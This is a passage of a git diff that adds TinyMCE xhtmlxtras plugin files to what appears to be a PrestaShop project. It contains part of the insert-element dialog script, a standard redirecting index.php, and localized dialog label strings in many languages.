http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('ins'); + if (SXE.currentAction == "update") { + setFormValue('datetime', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'datetime')); + setFormValue('cite', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'cite')); + SXE.showRemoveButton(); + } +} + +function setElementAttribs(elm) { + setAllCommonAttribs(elm); + setAttrib(elm, 'datetime'); + setAttrib(elm, 'cite'); + elm.removeAttribute('data-mce-new'); +} + +function insertIns() { + var elm = tinyMCEPopup.editor.dom.getParent(SXE.focusElement, 'INS'); + + if (elm == null) { + var s = SXE.inst.selection.getContent(); + if(s.length > 0) { + insertInlineElement('ins'); + var elementArray = SXE.inst.dom.select('ins[data-mce-new]'); + for (var i=0; i +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/it_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/it_dlg.js new file mode 100755 index 0000000..726be22 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.xhtmlxtras_dlg',{"attribs_title":"Inserisci/modifica attributi","option_rtl":"Destra verso sinistra","option_ltr":"Sinistra verso destra","insert_date":"Inserisci data/ora corrente",remove:"Rimuovi","title_cite_element":"Citazione elemento","title_abbr_element":"Abbreviazione elemento","title_acronym_element":"Acronimo elemento","title_del_element":"Cancellazione elemento","title_ins_element":"Inserimento elemento","fieldset_events_tab":"Eventi elemento","fieldset_attrib_tab":"Attributi elemento","fieldset_general_tab":"Impostazioni Generali","events_tab":"Eventi","attrib_tab":"Attributi","general_tab":"Generale","attribute_attrib_tab":"Attributi","attribute_events_tab":"Eventi","attribute_label_accesskey":"Tasto di accesso","attribute_label_tabindex":"Indice tabulazione","attribute_label_langcode":"Lingua","attribute_option_rtl":"Destra verso sinistra","attribute_option_ltr":"Sinistra verso destra","attribute_label_langdir":"Direzione del testo","attribute_label_datetime":"Date/Time","attribute_label_cite":"Citazione","attribute_label_style":"Style","attribute_label_class":"Classe","attribute_label_id":"ID","attribute_label_title":"Titolo"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/ja_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/ja_dlg.js new file mode 100755 index 0000000..99780dc --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.xhtmlxtras_dlg',{"attribs_title":"\u5c5e\u6027\u306e\u633f\u5165/\u524a\u9664","option_rtl":"\u53f3\u304b\u3089\u5de6","option_ltr":"\u5de6\u304b\u3089\u53f3","insert_date":"\u73fe\u5728\u306e\u65e5\u4ed8/\u6642\u523b\u3092\u633f\u5165",remove:"\u524a\u9664","title_cite_element":"\u5f15\u7528\u8981\u7d20","title_abbr_element":"\u7565\u8a9e\u8981\u7d20","title_acronym_element":"\u982d\u5b57\u8a9e\u8981\u7d20","title_del_element":"\u8981\u7d20\u3092\u524a\u9664","title_ins_element":"\u8981\u7d20\u3092\u633f\u5165","fieldset_events_tab":"\u8981\u7d20\u306e\u30a4\u30d9\u30f3\u30c8","fieldset_attrib_tab":"\u8981\u7d20\u306e\u5c5e\u6027","fieldset_general_tab":"\u4e00\u822c\u7684\u306a\u8a2d\u5b9a","events_tab":"\u30a4\u30d9\u30f3\u30c8","attrib_tab":"\u5c5e\u6027","general_tab":"\u4e00\u822c","attribute_attrib_tab":"\u5c5e\u6027","attribute_events_tab":"\u30a4\u30d9\u30f3\u30c8","attribute_label_accesskey":"\u30a2\u30af\u30bb\u30b9\u30ad\u30fc","attribute_label_tabindex":"\u30bf\u30d6\u30a4\u30f3\u30c7\u30c3\u30af\u30b9","attribute_label_langcode":"\u8a00\u8a9e","attribute_option_rtl":"\u53f3\u304b\u3089\u5de6","attribute_option_ltr":"\u5de6\u304b\u3089\u53f3","attribute_label_langdir":"\u6587\u7ae0\u306e\u65b9\u5411","attribute_label_datetime":"\u65e5\u4ed8/\u6642\u523b","attribute_label_cite":"\u5f15\u7528","attribute_label_style":"\u30b9\u30bf\u30a4\u30eb","attribute_label_class":"\u30af\u30e9\u30b9","attribute_label_id":"ID","attribute_label_title":"\u30bf\u30a4\u30c8\u30eb"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/ka_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/ka_dlg.js new file mode 100755 index 0000000..9898869 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.xhtmlxtras_dlg',{"attribs_title":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10d7\u10d5\u10d8\u10e1\u10d4\u10d1\u10d4\u10d1\u10d8","option_rtl":"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5","option_ltr":"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5","insert_date":"\u10d7\u10d0\u10e0\u10d8\u10e6\u10d8\u10e1 \u10e9\u10d0\u10e1\u10db\u10d0",remove:"\u10ec\u10d0\u10e8\u10da\u10d0","title_cite_element":"\u10ea\u10d8\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","title_abbr_element":"\u10e8\u10d4\u10db\u10dd\u10d9\u10da\u10d4\u10d1\u10d0","title_acronym_element":"\u10d0\u10d1\u10e0\u10d8\u10d5\u10d8\u10d0\u10ea\u10d8\u10d0","title_del_element":"\u10ec\u10d0\u10e8\u10da\u10d0","title_ins_element":"\u10e8\u10d4\u10ea\u10d5\u10da\u10d0","fieldset_events_tab":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d4\u10d1\u10d8\u10e1 \u10db\u10dd\u10d5\u10da\u10d4\u10dc\u10d4\u10d1\u10d8","fieldset_attrib_tab":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","fieldset_general_tab":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","events_tab":"\u10db\u10dd\u10d5\u10da\u10d4\u10dc\u10d0","attrib_tab":"\u10d0\u10e2\u10e0\u10d8\u10d1\u10e3\u10e2\u10d8","general_tab":"\u10e1\u10d0\u10d4\u10e0\u10d7\u10dd","attribute_attrib_tab":"\u10d0\u10e2\u10e0\u10d8\u10d1\u10e3\u10e2\u10d8","attribute_events_tab":"\u10db\u10dd\u10d5\u10da\u10d4\u10dc\u10d0","attribute_label_accesskey":"\u10ec\u10d5\u10d3\u10dd\u10db\u10d8\u10e1 \u10d2\u10d0\u10e1\u10d0\u10e6\u10d4\u10d1\u10d8","attribute_label_tabindex":"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8","attribute_label_langcode":"\u10d4\u10dc\u10d0","attribute_option_rtl":"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5","attribute_option_ltr":"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5","attribute_label_langdir":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10db\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d0","attribute_label_datetime":"\u10d7\u10d0\u10e0\u10d8\u10e6\u10d8/\u10d3\u10e0\u10dd","attribute_label_cite":"\u10ea\u10d8\u10e2\u10d0\u10e2\u10d0","attribute_label_style":"\u10e1\u10e2\u10d8\u10da\u10d8","attribute_label_class":"\u10d9\u10da\u10d0\u10e1\u10d8","attribute_label_id":"\u10e1\u10d0\u10ee\u10d4\u10da\u10d8","attribute_label_title":"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/ko_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/ko_dlg.js new file mode 100755 index 0000000..b8db8e2 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.xhtmlxtras_dlg',{"attribs_title":"\uc18d\uc131\uc758 \uc0bd\uc785/\ud3b8\uc9d1","option_rtl":"\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd","option_ltr":"\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd","insert_date":"\ud604\uc7ac\uc758 \ub0a0\uc9dc/\uc2dc\uac04\uc744 \uc0bd\uc785",remove:"\uc0ad\uc81c","title_cite_element":"\uc778\uc6a9 \uc694\uc18c","title_abbr_element":"\uc57d\uae30 \uc694\uc18c","title_acronym_element":"\uba38\ub9ac \uae00\uc790\uc5b4 \uc694\uc18c","title_del_element":"\uc694\uc18c\uc758 \uc0ad\uc81c","title_ins_element":"\uc694\uc18c\uc758 \uc0bd\uc785","fieldset_events_tab":"\uc694\uc18c\uc758 \uc774\ubca4\ud2b8","fieldset_attrib_tab":"\uc694\uc18c\uc758 \uc18d\uc131","fieldset_general_tab":"\uc77c\ubc18 \uc124\uc815","events_tab":"\uc774\ubca4\ud2b8","attrib_tab":"\uc18d\uc131","general_tab":"\uc77c\ubc18","attribute_attrib_tab":"\uc18d\uc131","attribute_events_tab":"\uc774\ubca4\ud2b8","attribute_label_accesskey":"\uc561\uc138\uc2a4 \ud0a4","attribute_label_tabindex":"\ud0ed \uc778\ub371\uc2a4","attribute_label_langcode":"\uc5b8\uc5b4","attribute_option_rtl":"\uc624\ub978\ucabd\uc5d0\uc11c \uc67c\ucabd","attribute_option_ltr":"\uc67c\ucabd\uc5d0\uc11c \uc624\ub978\ucabd","attribute_label_langdir":"\ubb38\uc790 \ubc29\ud5a5","attribute_label_datetime":"\ub0a0\uc9dc/\uc2dc\uac04","attribute_label_cite":"\uc778\uc6a9","attribute_label_style":"\uc2a4\ud0c0\uc77c","attribute_label_class":"\ud074\ub798\uc2a4","attribute_label_id":"ID","attribute_label_title":"\uc81c\ubaa9"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/lt_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/lt_dlg.js new file mode 100755 index 0000000..ebf7cfb --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.xhtmlxtras_dlg',{"attribs_title":"\u012eterpti/Redaguoti atributus","option_rtl":"I\u0161 de\u0161in\u0117s \u012f kair\u0119","option_ltr":"I\u0161 kair\u0117s \u012f de\u0161in\u0119","insert_date":"\u012eterpti dabartin\u0119 dat\u0105/laik\u0105",remove:"Pa\u0161alinti","title_cite_element":"Citatos elementas","title_abbr_element":"Santrumpos elementas","title_acronym_element":"Akronimo elementas","title_del_element":"Pa\u0161alinimo elementas","title_ins_element":"\u012eterpimo elementas","fieldset_events_tab":"Elemento \u012fvykiai","fieldset_attrib_tab":"Elemento atributai","fieldset_general_tab":"Bendri nustatymai","events_tab":"\u012evykiai","attrib_tab":"Atributai","general_tab":"Bendra","attribute_attrib_tab":"Atributai","attribute_events_tab":"\u012evykiai","attribute_label_accesskey":"Prieigos klavi\u0161as","attribute_label_tabindex":"Tabuliavimo indeksas","attribute_label_langcode":"Kalba","attribute_option_rtl":"I\u0161 de\u0161in\u0117s \u012f kair\u0119","attribute_option_ltr":"I\u0161 kair\u0117s \u012f de\u0161in\u0119","attribute_label_langdir":"Kalbos teksto kryptis","attribute_label_datetime":"Data/Laikas","attribute_label_cite":"Citata","attribute_label_style":"Stilius","attribute_label_class":"Klas\u0117","attribute_label_id":"ID","attribute_label_title":"Pavadinimas"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/nl_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/nl_dlg.js new file mode 100755 index 0000000..5708ddf --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.xhtmlxtras_dlg',{"attribs_title":"Attributen Invoegen/bewerken","option_rtl":"Van rechts naar links","option_ltr":"Van links naar rechts","insert_date":"Huidige datum/tijd invoegen",remove:"Verwijderen","title_cite_element":"Citaat","title_abbr_element":"Afkorting","title_acronym_element":"Synoniem","title_del_element":"Verwijderingselement","title_ins_element":"Invoegingselement","fieldset_events_tab":"Element Gebeurtenissen","fieldset_attrib_tab":"Elementattributen","fieldset_general_tab":"Algemene instellingen","events_tab":"Gebeurtenissen","attrib_tab":"Attributen","general_tab":"Algemeen","attribute_attrib_tab":"Attributen","attribute_events_tab":"Gebeurtenissen","attribute_label_accesskey":"Toegangstoets","attribute_label_tabindex":"Tabvolgorde","attribute_label_langcode":"Taal","attribute_option_rtl":"Van rechts naar links","attribute_option_ltr":"Van links naar rechts","attribute_label_langdir":"Tekstrichting","attribute_label_datetime":"Datum/Tijd","attribute_label_cite":"Citaat","attribute_label_style":"Stijl","attribute_label_class":"Klasse","attribute_label_id":"ID","attribute_label_title":"Titel"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/no_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/no_dlg.js new file mode 100755 index 0000000..7949e64 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.xhtmlxtras_dlg',{"attribs_title":"Sett inn/editer attributt","option_rtl":"H\u00f8yre mot venstre","option_ltr":"Venstre mot h\u00f8yre","insert_date":"Sett inn dato/tid",remove:"Fjerne","title_cite_element":"Sitat element","title_abbr_element":"Forkorting element","title_acronym_element":"Akronym element","title_del_element":"Slette element","title_ins_element":"Innsetting element","fieldset_events_tab":"Element hendelser","fieldset_attrib_tab":"Element attributter","fieldset_general_tab":"Generelle innstillinger","events_tab":"Hendelser","attrib_tab":"Attributter","general_tab":"Generelt","attribute_attrib_tab":"Attributter","attribute_events_tab":"Hendelser","attribute_label_accesskey":"Tilgangsn\u00f8kkel","attribute_label_tabindex":"Tab indeks","attribute_label_langcode":"Spr\u00e5k","attribute_option_rtl":"H\u00f8yre mot venstre","attribute_option_ltr":"Venstre mot h\u00f8yre","attribute_label_langdir":"Tekstretning","attribute_label_datetime":"Dato/tid","attribute_label_cite":"Sted","attribute_label_style":"Stil","attribute_label_class":"Klasse","attribute_label_id":"ID","attribute_label_title":"Tittel"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/pl_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/pl_dlg.js new file mode 100755 index 0000000..a409dd3 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.xhtmlxtras_dlg',{"attribs_title":"Wklej/edytuj atrybuty","option_rtl":"Kierunek z prawej do lewej","option_ltr":"Kierunek z lewej do prawej","insert_date":"Wklej aktualn\u0105 dat\u0119/czas",remove:"Usu\u0144","title_cite_element":"Cytat","title_abbr_element":"Skr\u00f3t","title_acronym_element":"Akronim","title_del_element":"Usuni\u0119cie","title_ins_element":"Wstawienie","fieldset_events_tab":"Zdarzenia","fieldset_attrib_tab":"Atrybuty","fieldset_general_tab":"G\u0142\u00f3wne ustawienia","events_tab":"Zdarzenia","attrib_tab":"Atrybuty","general_tab":"G\u0142\u00f3wny","attribute_attrib_tab":"Atrybuty","attribute_events_tab":"Zdarzenia","attribute_label_accesskey":"Klawisz skr\u00f3tu","attribute_label_tabindex":"Numer tabulacji","attribute_label_langcode":"J\u0119zyk","attribute_option_rtl":"Kierunek z prawej do lewej","attribute_option_ltr":"Kierunek z lewej do prawej","attribute_label_langdir":"Kierunek czytania tekstu","attribute_label_datetime":"Data/Czas","attribute_label_cite":"Cytat","attribute_label_style":"Styl","attribute_label_class":"Klasa","attribute_label_id":"ID","attribute_label_title":"Tytu\u0142"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/pt_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/pt_dlg.js new file mode 100755 index 0000000..520eaa5 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.xhtmlxtras_dlg',{"attribs_title":"Inserir/editar atributos","option_rtl":"Da direita para a esquerda","option_ltr":"Da esquerda para a direita","insert_date":"Inserir data/hora",remove:"Remover","title_cite_element":"Cita\u00e7\u00e3o","title_abbr_element":"Abrevia\u00e7\u00e3o","title_acronym_element":"Acr\u00f4nimo","title_del_element":"Apagar","title_ins_element":"Inserir","fieldset_events_tab":"Eventos","fieldset_attrib_tab":"Atributos","fieldset_general_tab":"Configura\u00e7\u00f5es gerais","events_tab":"Eventos","attrib_tab":"Atributos","general_tab":"Geral","attribute_attrib_tab":"Atributos","attribute_events_tab":"Eventos","attribute_label_accesskey":"Tecla de Atalho","attribute_label_tabindex":"TabIndex","attribute_label_langcode":"Idioma","attribute_option_rtl":"Da direita para a esquerda","attribute_option_ltr":"Da esquerda para a direita","attribute_label_langdir":"Dire\u00e7\u00e3o do texto","attribute_label_datetime":"Data/Hora","attribute_label_cite":"Citar","attribute_label_style":"Estilo","attribute_label_class":"Classe","attribute_label_id":"ID","attribute_label_title":"T\u00edtulo"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/ro_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/ro_dlg.js new file mode 100755 index 0000000..bb80219 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.xhtmlxtras_dlg',{"attribs_title":"Inserare atribute","option_rtl":"De la dreapta la st\u00e2nga","option_ltr":"De la st\u00e2nga la dreapta","insert_date":"Inserare dat\u0103/or\u0103 curent\u0103",remove:"Scoate","title_cite_element":"Citare","title_abbr_element":"Abreviere","title_acronym_element":"Acronim","title_del_element":"\u0218tergere element","title_ins_element":"Inserare element","fieldset_events_tab":"Evenimente element","fieldset_attrib_tab":"Atribute element","fieldset_general_tab":"Set\u0103ri generale","events_tab":"Evenimente","attrib_tab":"Atribute","general_tab":"General","attribute_attrib_tab":"Atribute","attribute_events_tab":"Evenimente","attribute_label_accesskey":"Tast\u0103 de acces","attribute_label_tabindex":"TabIndex","attribute_label_langcode":"Limb\u0103","attribute_option_rtl":"De la dreapta la st\u00e2nga","attribute_option_ltr":"De la st\u00e2nga la dreapta","attribute_label_langdir":"Direc\u021bie text","attribute_label_datetime":"Dat\u0103/or\u0103","attribute_label_cite":"Citat","attribute_label_style":"Stil","attribute_label_class":"Clas\u0103","attribute_label_id":"ID","attribute_label_title":"Titlu"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/ru_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/ru_dlg.js new file mode 100755 index 0000000..bd25335 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.xhtmlxtras_dlg',{"attribs_title":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430","option_rtl":"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e","option_ltr":"\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e","insert_date":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0434\u0430\u0442\u0443/\u0432\u0440\u0435\u043c\u044f",remove:"\u0423\u0434\u0430\u043b\u0438\u0442\u044c","title_cite_element":"\u0426\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435","title_abbr_element":"\u0421\u043e\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u0435","title_acronym_element":"\u0410\u0431\u0431\u0440\u0435\u0432\u0438\u0430\u0446\u0438\u044f","title_del_element":"\u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435","title_ins_element":"\u0417\u0430\u043c\u0435\u043d\u0430","fieldset_events_tab":"\u0421\u043e\u0431\u044b\u0442\u0438\u044f \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430","fieldset_attrib_tab":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430","fieldset_general_tab":"\u041e\u0431\u0449\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b","events_tab":"\u0421\u043e\u0431\u044b\u0442\u0438\u044f","attrib_tab":"\u0410\u0442\u0440\u0438\u0431\u0443\u0442\u044b","general_tab":"\u041e\u0431\u0449\u0435\u0435","attribute_attrib_tab":"\u0410\u0442\u0440\u0438\u0431\u0443\u0442\u044b","attribute_events_tab":"\u0421\u043e\u0431\u044b\u0442\u0438\u044f","attribute_label_accesskey":"\u041a\u043b\u044e\u0447 \u0434\u043e\u0441\u0442\u0443\u043f\u0430","attribute_label_tabindex":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a","attribute_label_langcode":"\u042f\u0437\u044b\u043a","attribute_option_rtl":"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e","attribute_option_ltr":"\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e","attribute_label_langdir":"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u0430","attribute_label_datetime":"\u0414\u0430\u0442\u0430/\u0412\u0440\u0435\u043c\u044f","attribute_label_cite":"\u0426\u0438\u0442\u0430\u0442\u0430","attribute_label_style":"\u0421\u0442\u0438\u043b\u044c","attribute_label_class":"\u041a\u043b\u0430\u0441\u0441","attribute_label_id":"\u0418\u043c\u044f","attribute_label_title":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/sk_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/sk_dlg.js new file mode 100755 index 0000000..3ee6e8b --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.xhtmlxtras_dlg',{"attribs_title":"Vlo\u017ei\u0165/upravi\u0165 atrib\u00faty","option_rtl":"Sprava do\u013eava","option_ltr":"Z\u013eava doprava","insert_date":"Vlo\u017ei\u0165 aktu\u00e1lny d\u00e1tum/\u010das",remove:"Odstr\u00e1ni\u0165","title_cite_element":"Cit\u00e1cia","title_abbr_element":"Skratka","title_acronym_element":"Akronym","title_del_element":"Odstr\u00e1nen\u00fd text","title_ins_element":"Pridan\u00fd text","fieldset_events_tab":"Atrib\u00faty udalost\u00ed","fieldset_attrib_tab":"Atrib\u00faty prvku","fieldset_general_tab":"Obecn\u00e9 parametre","events_tab":"Udalosti","attrib_tab":"Atrib\u00faty","general_tab":"Obecn\u00e9","attribute_attrib_tab":"Atrib\u00faty","attribute_events_tab":"Udalosti","attribute_label_accesskey":"Kl\u00e1vesov\u00e1 skratka","attribute_label_tabindex":"Poradie pre tabul\u00e1tor","attribute_label_langcode":"Jazyk","attribute_option_rtl":"Sprava do\u013eava","attribute_option_ltr":"Z\u013eava doprava","attribute_label_langdir":"Smer textu","attribute_label_datetime":"D\u00e1tum/\u010das","attribute_label_cite":"Cit\u00e1cia","attribute_label_style":"\u0160t\u00fdl","attribute_label_class":"Trieda","attribute_label_id":"ID","attribute_label_title":"Titulok"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/sl_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/sl_dlg.js new file mode 100755 index 0000000..09cb321 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.xhtmlxtras_dlg',{"attribs_title":"Vstavi/uredi atribute","option_rtl":"Od desne proti levi","option_ltr":"Od leve proti desni","insert_date":"Vstavi trenutni datum/\u010das",remove:"Odstrani","title_cite_element":"Citat","title_abbr_element":"Okraj\u0161ava","title_acronym_element":"Kratica","title_del_element":"Izbrisano","title_ins_element":"Vstavljeno","fieldset_events_tab":"Dogodki elementa","fieldset_attrib_tab":"Atributi elementa","fieldset_general_tab":"Splo\u0161ne nastavitve","events_tab":"Dogodki","attrib_tab":"Atributi","general_tab":"Splo\u0161no","attribute_attrib_tab":"Atributi","attribute_events_tab":"Dogodki","attribute_label_accesskey":"Tipka dostopa","attribute_label_tabindex":"Zap. \u0161t.","attribute_label_langcode":"Jezik","attribute_option_rtl":"Od desne proti levi","attribute_option_ltr":"Od leve proti desni","attribute_label_langdir":"Smer pisave","attribute_label_datetime":"Datum/ura","attribute_label_cite":"Citat","attribute_label_style":"Slog","attribute_label_class":"Razred","attribute_label_id":"Id","attribute_label_title":"Naslov"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/sv_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/sv_dlg.js new file mode 100755 index 0000000..7184797 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.xhtmlxtras_dlg',{"attribs_title":"Redigera attribut","option_rtl":"H\u00f6ger till v\u00e4nster","option_ltr":"V\u00e4nster till h\u00f6ger","insert_date":"Infoga nuvarande datum och tid",remove:"Radera","title_cite_element":"Citat","title_abbr_element":"F\u00f6rkortning","title_acronym_element":"Akronym","title_del_element":"Markera som struket","title_ins_element":"Markera som tillagt","fieldset_events_tab":"H\u00e4ndelser","fieldset_attrib_tab":"Attribut","fieldset_general_tab":"Generella inst\u00e4llningar","events_tab":"H\u00e4ndelser","attrib_tab":"Attribut","general_tab":"Generellt","attribute_attrib_tab":"Attribut","attribute_events_tab":"H\u00e4ndelser","attribute_label_accesskey":"Snabbtangent","attribute_label_tabindex":"Tabbindex","attribute_label_langcode":"Spr\u00e5k","attribute_option_rtl":"H\u00f6ger till v\u00e4nster","attribute_option_ltr":"V\u00e4nster till h\u00f6ger","attribute_label_langdir":"Skriftriktning","attribute_label_datetime":"Datum/Tid","attribute_label_cite":"Citat","attribute_label_style":"Stil","attribute_label_class":"Klass","attribute_label_id":"ID","attribute_label_title":"Titel"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/th_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/th_dlg.js new file mode 100755 index 0000000..c5e2eb4 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.xhtmlxtras_dlg',{"attribs_title":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 Attributes","option_rtl":"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22","option_ltr":"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32","insert_date":"\u0e40\u0e1e\u0e34\u0e48\u0e21 \u0e27\u0e31\u0e19/\u0e40\u0e27\u0e25\u0e32",remove:"\u0e25\u0e1a","title_cite_element":"Citation Element","title_abbr_element":"Abbreviation Element","title_acronym_element":"Acronym Element","title_del_element":"Deletion Element","title_ins_element":"Insertion Element","fieldset_events_tab":"Element Event","fieldset_attrib_tab":"Element 